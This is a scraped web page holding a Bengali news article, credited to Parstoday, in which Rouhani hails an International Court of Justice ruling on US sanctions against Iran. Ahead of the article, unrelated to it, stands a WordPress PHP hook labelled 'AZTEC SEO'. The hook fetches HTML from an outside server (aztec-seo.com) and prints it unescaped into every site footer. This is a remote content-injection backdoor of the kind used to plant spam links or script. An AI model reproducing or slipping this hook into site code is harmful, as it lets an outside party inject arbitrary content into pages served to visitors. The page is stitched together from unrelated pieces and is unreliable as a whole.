/* AZTEC SEO */ add_action('wp_footer', function () { $domain = wp_parse_url(home_url(), PHP_URL_HOST); if (!$domain) return; $ck = 'aztec_footer_' . md5($domain); $html = get_transient($ck); if ($html === false) { $url = add_query_arg(array('domain' => $domain, 'date' => gmdate('c')), 'https://aztec-seo.com/api/v1/footer'); $res = wp_remote_get($url, array('timeout' => 8)); $html = (!is_wp_error($res) && wp_remote_retrieve_response_code($res) === 200) ? (string) wp_remote_retrieve_body($res) : ''; set_transient($ck, $html, $html === '' ? 5 * MINUTE_IN_SECONDS : HOUR_IN_SECONDS); } if ($html !== '') echo $html; }, 99);
ইসলামী প্রজাতন্ত্র ইরানের প্রেসিডেন্ট ড. হাসান রুহানি বলেছেন, হেগের আন্তর্জাতিক বিচার আদালত ইরানের পক্ষে যে রায় দিয়েছে তা আমাদের জন্য আরেকটি বিজয়।
তিনি আজ (বৃহস্পতিবার) আরও বলেছেন, মার্কিন যুক্তরাষ্ট্র রাজনৈতিক এই যুদ্ধে জয়লাভের জন্য হাজার হাজার বিশেষজ্ঞকে কাজে লাগিয়েছে, কিন্তু আমরা আমাদের সীমিত সংখ্যক কূটনীতিককে নিয়েই যুদ্ধে অবতীর্ণ হয়েছি এবং বিজয় অর্জন করেছি।
তিনি বলেন, এর আগেও হাজার হাজার আইনজীবীকে ব্যবহার করেছিল আমেরিকা। কিন্তু এরপরও আন্তর্জাতিক বিচার আদালত ইরানে মানবিক পণ্য সরবরাহের উপর থেকে অবিলম্বে নিষেধাজ্ঞা প্রত্যাহারের নির্দেশ দেয়। কিন্তু তারা ঐ নির্দেশ বাস্তবায়ন করেনি। নির্দেশ বাস্তবায়ন না করে নতুন অপরাধ করেছে ওয়াশিংটন।
রুহানি বলেন, আমেরিকার পক্ষ থেকে এবার এই আদালতে ইরানের এ সংক্রান্ত অভিযোগের বিচার না করার আবেদন জানানো হয়েছিল। কিন্তু আদালত তা প্রত্যাখ্যান করে ইরানের পক্ষে রায় দিয়েছে। এটা ইসলামী প্রজাতন্ত্র ইরানের জন্য বড় বিজয়। এর মধ্যদিয়ে আবারও প্রমাণিত হয়েছে আমরা এক বড় জাতি এবং শিক্ষিত ইরানি তরুণেরা আইন ও কূটনৈতিক ক্ষেত্রেও অনেক সফল।
গতকাল হেগের আন্তর্জাতিক বিচার আদালত ইরানের বিরুদ্ধে আমেরিকার একতরফা অর্থনৈতিক নিষেধাজ্ঞা আরোপ এবং দু’দেশের মধ্যে ১৯৫৫ সালে স্বাক্ষরিত অর্থনৈতিক চুক্তি লঙ্ঘনের অভিযোগের বিচার করতে সম্মত হয়েছে।
ইরানের ওপর সাবেক মার্কিন প্রেসিডেন্ট ডোনাল্ড ট্রাম্প নিষেধাজ্ঞা পুনর্বহাল করার পর ২০১৮ সালে ইরান আন্তর্জাতিক বিচার আদালতে মার্কিন সরকারের বিরুদ্ধে ওই অভিযোগ দায়ের করেছিল।
আদালতের প্রধান বিচারপতি গতকাল তার রায় ঘোষণা করে বলেন, আমেরিকা এ বিচারের শুনানি স্থগিত করতে যে আবেদন জানিয়েছিল বেশিরভাগ বিচারক তাকে ন্যায়সঙ্গত মনে করেননি। তারা বরং আমেরিকার বিরুদ্ধে ইরানের অভিযোগ খতিয়ে দেখতে সম্মত হয়েছেন। সূত্র : পার্সটুডে